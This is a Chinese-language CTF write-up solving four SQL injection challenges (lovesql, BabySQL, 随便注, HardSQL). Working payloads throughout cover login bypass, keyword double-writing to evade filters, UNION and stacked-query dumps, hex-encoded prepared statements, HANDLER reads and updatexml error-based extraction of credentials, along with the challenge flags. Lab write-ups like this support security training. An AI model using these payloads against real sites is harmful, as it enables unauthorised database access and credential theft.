lovesql
这道题是一个非常简单的sql注入 也就是万能密码 我们只需要注意在输入用户名的地方使用 ' 将语句提前终止 并且or一个为真的条件 这样整个语句的结果就为真 这就是万能密码的原理


这样我们就得到了密码 然后我们发现这只是密码
于是查看一下字段数 尝试下注入


这里我们发现3 和4的回显不同 就可以判断字段数为3

这里我们判断出来回显点位为2 和3 于是就可以在2和3处进行注入

这里我们发现 数据库名为geek
接下来我们再进行爆表

这里我们报出来了两个字段 我们查询一下第二个
爆出来了一串非常像flag的东西
flag{2fe797a0-2714-40fb-b270-bb096bbeb772}
[极客大挑战 2019]BabySQL

这里我先用万能密码 发现进不去 他前面告诉了我们他做了一些东西的过滤


看到这里的der 再联想到前面万能密码只剩下1=1 可以看出这里将我们的or给过滤掉了 所以我们可以进行双写绕过


这里爆出了账户和密码 我们在进行union联合注入


这里我们的联合注入 依旧报错 并且发现union 和select也被过滤了然后我们继续双写绕过
1' ununionion seselectlect 1,2,database()#

这里爆出了我们的数据库名geek
依然进行双写绕过来爆出表名
1'ununionion seselectlect 1,2,group_concat(table_name) frfromom infoorrmation_schema.tables whwhereere table_schema='geek'#

我们在来查询第一个字段里的列名
1' ununionion seselectlect 1,2,group_concat(column_name)frfromom infoorrmation_schema.columns whwhereere table_name='b4bsql'#

最后在查询里面字段的全部内容
1' ununionion seselectlect 1,2,group_concat(username ,id , passwoorrd) frfromom b4bsql#

就得到了想要的flag{1df5a48b-9f85-406f-a88f-e4279f49d469}
双写绕过
根据报错信息确认哪些关键词被过滤 双写该关键词通过拼接字符防止被过滤 如or被过滤 则可双写为or
[强网杯 2019]随便注
这里我们发现union select都被过滤掉了 我们推断这道题要使用堆叠注入 并且我们发现这道题的闭合方式为单引号' 然后我们进行字段判断 因为再3时回显发生变化 这里我们就可以判断 字段数为2

然后我们使用堆叠注入 可以爆出数据库里的内容
1'; show databases;

再查看所有的数据表
1'; show tables;

然后我们在爆出数据表里的内容
1';show columns from 1919810931114514
;#

我们在这里又得到了flag字段 然后我们在查询flag字段里的内容 因为这里的题目有过滤select所以这里我们可以利用编码来绕过select过滤
select *from where
1919810931114514``
编码过后就是1';SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;#

就得到了flag{bd214b2a-2740-4ce1-9275-4d5da99c4edc}
这里我们还可以使用handler代替select
1'; handler 1919810931114514
open asa
; handler a
read next;#
这样我们依然可以得到flag
HANDLER的用法
打开表:HANDLER tablename OPEN [AS alias]
读取数据:HANDLER tablename READ indexname { = | < | > | <= | >= | LIKE } (value1,value2,...) [WHERE condition]
关闭表:HANDLER tablename CLOSE
HANDLER a read next 是读取下一行数据直到表的数据被读取完
[极客大挑战 2019]HardSQL



这里我们使用万能密码 发现报错 并且回显的内容无任何信息 我们在这里重新构造一下万能密码
所以我们推断这道题要使用报错注入
extractvalue() 或者updatexml()
并且这里我们发现会过滤掉很多东西 空格和/**/ 所以这里我们要使用^来形成异或来绕过
1'or(updatexml(1,concat(0x7e,database(),0x7e),1))#

这里爆出了我们的数据库名
1'or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),0x7e),1))#

这里又爆出了我们的表名
1'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e),1))#
这里爆出了我们的列名

1'or(updatexml(1,concat(0x7e,(select(group_concat(username,'~',password))from(H4rDsq1)),0x7e),1))#
这样就得到了一半的 flag{827f2d20-d5ea-4d06-a0

1'or(updatexml(1,concat(0x7e,(select(group_concat((right(password,25))))from(H4rDsq1)),0x7e),1))#
使用函数right()就得到了另一半flag 0-d5ea-4d06-a0a0-0dfab4de9002}

flag{827f2d20-d5ea-4d06-a0a0-0dfab4de9002}